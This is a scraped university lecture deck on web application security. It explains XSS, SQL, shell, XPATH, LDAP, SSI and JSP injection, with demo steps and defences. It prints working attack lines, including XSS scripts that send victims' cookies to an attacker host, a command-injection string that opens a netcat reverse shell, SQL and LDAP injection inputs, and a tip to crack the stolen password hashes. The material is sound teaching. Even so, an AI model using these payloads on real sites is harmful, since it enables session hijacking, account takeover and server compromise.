330 likes | 462 Views
Web Security. Why Web Security: a Real Business Problem. > 60% of total attack attempts observed on the Net are against Web applications > 80% of vulnerabilities discovered are in web apps Independent security audit Regulatory compliance. Auditor finding. Freeform edit box
E N D
Why Web Security: a Real Business Problem • > 60% of total attack attempts observed on the Net are against Web applications • > 80% of vulnerabilities discovered are in web apps • Independent security audit • Regulatory compliance
Auditor finding • Freeform edit box • Message to Customer Service • XSS issue raised • Must provide a response: • Prove issue to be a non-problem or • Describe actions to take
Web Applications • Big trend: software as a (Web-based) service • Online banking, shopping, government, etc. • Cloud computing • Applications hosted on Web servers • Written in a mixture of PHP, Java, Perl, Python, C, ASP • Security is rarely the main concern • Poorly written scripts with inadequate input validation • Sensitive data stored in world-readable files
Typical Web Application Design • Runs on a Web server or application server • Takes input from Web users (via Web server) • Interacts with back-end databases and third parties • Prepares and outputs results for users (via Web server) • Dynamically generated HTML pages • Contain content from many different sources, often including regular users • Blogs, social networks, photo-sharing websites…
Two Sides of Web Security • Web browser • Can be attacked by any website it visits • Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data • Web application • Runs at website • Banks, online merchants, blogs, Google Apps, etc. • Written in Javascript, PHP, ASP, JSP, Ruby, … • Many potential bugs: XSS, SQL injection, XSRF • Attacks lead to stolen credit cards, defaced sites, mayhem
Web Attacks • Cross Site Scripting (XSS) • SQL Injection • Shell Attacks If interested in more • XPATH Injection • LDAP Injection • SSI Injection • JSP Injection
JavaScript • Language executed by browser • Scripts are embedded in Web pages • Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page • Used to implement “active” web pages • AJAX, huge number of Web-based applications • Many security and correctness issues • Attacker gets to execute some code on user’s machine • Often used to exploit other vulnerabilities
Cross Site Scripting • Attacker goal: their code into browser • XSS forces a website visitor to execute malicious code in his/her browser • Count for roughly 80% of all documented security vulnerabilities
XSS Risks • XSS abuses render engines or plug-ins • Steal browser cookies • Steal session info for replay attack • Malware or bot installation • Redirect or phishing attempt
XSS Example 1 • Trudy posts the following JavaScript on a message board: • <script language="javascript"> var url = "http://machineaddress:5000/index.html?cookie=“+ encodeURI(document.cookie); </script> • Then run a TCP server listening on port 5000 with e.g., nc –l 5000 • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy
XSS Demo Instructions • Set port forward to bypass the firewall ssh -L 8000:netsec-demos:2000 guest@netsec-1.cs.northwestern.edu Note: 8000 is the local port, it's forwarded to netsec-demos port 2000 through netsec-1 • Use http://localhost:8000 to access http://netsec-demos.cs.northwestern.edu:2000
XSS Demo Instructions (II) • Login as ychen and post the script with a sexy title (e.g., hot game!) <script language="javascript"> varurl = "http://cal.cs.northwestern.edu:5000/index.html?cookie="; url = url + encodeURI(document.cookie); new Image().src=url; </script> Hi Everyone! Thanks for your cookies! • Ssh to any other machine (e.g., cal.cs.northwestern.edu) and run nc –l 5000
Simple XSS Code varurl = "http://machineaddress:5000/index.html?cookie=“+ encodeURI(document.cookie); • document.cookie is the browser's entire cookie for the current website • encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL • E.g., changing the space character to %20 • Make the URL less suspicious
What can Trudy Do with the Cookie? • Another user test458 login as and when clicking the post, cookie is sent to ychen • Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker • For more info, http://netsec.cs.northwestern.edu/resources/password-cracking/ • Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob
XSS Detection • A client usually is not supposed to send scripts to servers • If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred • A sanitized script could look like &ls;SCRIPT>… • Any user input must be preprocessed before it is used inside HTML
SQL Injection Malicious SQL statements run on a database and thus attack the server XSS can only target other users
SQL Injection Example • Trudy accesses Bob’s website; in which he does not validate input on his sign in form • Runs a SQL statement like the following: • select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; • Set username to ' or '1'='1 • select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; • Effect: picks any row where the username is blank and the password matches or any row where true. • Add “limit 1” to pick the first row
SQL Injection Detection • Input validation on any outgoing SQL statements from the web server to the database server • Filter • Apostrophes, semicolons, percent symbols, hyphens, underscores, … • Any character that has special meanings must be escaped, .e.g., convert ’ into \’ • Only works for string inputs • Different databases have different rules for escaping • Check the data type (e.g., make sure it’s an integer)
Shell Attacks Control an actual machine like a web server
Shell Attacks • Inject commands into scripts that use Linux utilities • E.g., with “;” as command separator in UNIX/LINUX • CGI programs like perl can use command-line programs (e.g. grep, ls) • Unsanitized input as arguments can lead to command execution.
Shell Attacks Demo • Search engine in MiniBB webserver executes system("echo $user_usr " . $phrase . " >>/tmp/searchlogs"); • Put phrase as: >/dev/null; id; echo randomdata • Hide user ID • Store random data in logs to evade detection • We can even get a remote shell ! • >/dev/null; nc cal 5000 -e /bin/sh
Defense Approaches • Web firewall/IDS • ModSecurity for Apache • Commercial: SecureSphere from Impervia • Static code analysis • Open source: Nikto • Commercial: • Acutenix Web Vulnerability Scanner • N-stalker • Education on good coding • HTML encoding on input (server-side) • Input validation/filtering
XSS Example 2 • Trudy sends a link of the following URL to Bob that will take him to a personalized page: • http://host/personalizedpage.php?username=<script>document.location='http://trudyhost/cgi-bin/stealcookie.cgi?'+document.cookie</script> • A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy • Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious
XPATH Injection Example • Similar to SQL injection • Bob has a form that does not sanitize user-provided input before using it as part of an XPATH query:: • string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) • Trudy again can provide the following password to change the statement’s logic: • X’ OR ‘x’=‘x • The statement thus selects the first account
LDAP Injection Example • Server using LDAP for authentication • User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry • Attacker can exploit using special characters http://example/ldapsearch.asp?user=*
LDAP Injection Detection • Detection is based off of usage of special LDAP characters • System monitors input for special characters • Either scrubs incoming input or watches for unescaped output passed to database server • Detection approach is blackbox
SSI Injection Example • Bob has his server configured to use Server-Side Includes • Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> • SSI inserts malicious code into normal webpages upon next request • Future legitimate users get content containing the tainted code included by the SSI
JSP Injection Example • Similar to SSI injection • Bob has a portal server configured to use dynamic code for templates • Trudy passes input with an embedded <jsp:include “http://bad.com/1.jsp” > • malicious code inserted into webpage
JSP Injection Prevention • Prefer static include <%include …> • Don’t allow file inclusion outside of server via Java2 Security policies • Firewall rules to prevent outbound requests from server • Input validation coding • Choose portal software not requiring dynamic includes or code execution
Q&A • Suggestions?